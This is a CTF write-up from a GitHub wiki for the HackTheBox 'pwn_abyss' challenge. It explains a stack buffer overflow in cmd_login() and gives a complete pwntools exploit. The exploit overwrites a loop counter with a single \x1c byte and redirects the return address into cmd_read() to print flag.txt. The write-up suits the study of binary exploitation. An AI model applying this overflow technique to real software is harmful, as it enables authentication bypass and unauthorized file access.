HTB Abyss writeup - Pez1181/CTF GitHub Wiki

πŸ“‚ HackTheBox Business CTF 2024 – pwn_abyss

🧠 Challenge Type: Binary Exploitation (pwn)
πŸ”“ Vulnerability: Stack-based buffer overflow in cmd_login()
πŸ›‘οΈ Protection Bypassed: NX, partial RELRO, no PIE
πŸ“œ Objective: Get shell access (or read the flag)


πŸ” Recon

We begin with a standard checksec:

$ checksec --file=abyss
RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX enabled    No PIE

This binary is:

  • 64-bit, dynamically linked
  • No stack canary 🧨
  • NX enabled β€” no shellcode injection, ROP is required
  • No PIE β€” static addresses = easier exploitation

Running the binary shows it expects a .creds file and accepts binary input via stdin.

After analysis of main() and cmd_login(), we learn the command flow:

enum { LOGIN = 0, READ = 1, EXIT = 2 };

🧨 Vulnerability Analysis

In cmd_login(), input is read into a 512-byte buffer, then parsed for "USER " and "PASS " commands. The parser copies characters from buf[i] to user[i-5] and pass[i-5], respectively, without bounds checks or null terminators.

Here's the vulnerable pattern:

char buf[512], user[512], pass[512];
read(0, buf, 512);
...
i = 5;
while (buf[i] != '\0') {
    user[i - 5] = buf[i];
    i++;
}

If buf is fully filled and not null-terminated, the copy loop overflows into adjacent stack variables β€” and can overwrite the saved return address of cmd_login().

Crucially, there's a local variable i also on the stack. If we don’t carefully manage it, our payload can corrupt i, causing the loop to crash or exit early.


🧱 Exploit Strategy

We deliver the payload via the USER command, not PASS.

Why? Because the overflow occurs while copying from buf into user[].

To succeed, we:

  • Craft a USER payload that overflows user[] and reaches RIP
  • Inject a jump address to cmd_read() (after the if (!logged_in) check)
  • Send a dummy PASS to satisfy program flow
  • Send the desired file path to cmd_read()

πŸ§ͺ The Critical Byte: \x1c

A single \x1c byte appears in the working payload just before the RIP overwrite:

user_payload = (
    b"USER "
    + b"AAAAAAAABBBBBBBBC\x1cDDDDEEEEEEE"
    + p64(0x4014eb)
)

Why?

  • The loop copying from buf into user[] doesn't stop unless it sees a null byte.
  • The local variable i is stored on the stack after pass[], right before the saved RBP and RIP.
  • The byte \x1c precisely overwrites the least significant byte of i, manipulating the loop counter.
  • This allows the copy loop to proceed past user[] and pass[], and cleanly write the address to RIP.

Any change in the placement of \x1c (e.g., moving it one byte earlier or later) causes the loop to misbehave β€” either by terminating early or corrupting RIP.


πŸ§ͺ Proof of Exploit (local)

from pwn import *

context.binary = "./abyss"
context.log_level = "debug"
elf = context.binary

p = process("./abyss")
p.send(p32(0))  # LOGIN

# Precise payload with \x1c to control loop behavior
user_payload = (
    b"USER "
    + b"AAAAAAAABBBBBBBBC\x1cDDDDEEEEEEE"
    + p64(0x4014eb)  # Address inside cmd_read(), after login check
)
p.send(user_payload)
p.recvrepeat(1)

# Send dummy PASS input to complete login step
pass_payload = b"PASS " + b"D" * (512 - len("PASS "))
p.send(pass_payload)
p.recvrepeat(1)

# Send file path for cmd_read()
p.send(b"flag.txt")
p.interactive()

🏁 Outcome

The crafted payload bypasses authentication and redirects execution to cmd_read(), which opens and prints the contents of flag.txt. The exploit is delicate β€” relying on precise stack layout, variable positioning, and the placement of a single byte β€” but once dialed in, it's fully reliable.


πŸ”š Final Notes

  • This was a classic stack-based overflow with a twist: an indirect overwrite through a loop counter, and careful stack crafting to pull it off.
  • The success of the exploit hinges not just on the payload length β€” but on the exact bytes and what they overwrite on the stack.
  • A beautiful demonstration of how a single misaligned byte can bring down a program β€” or give you a flag.

##Mission complete. Escaped from the abyss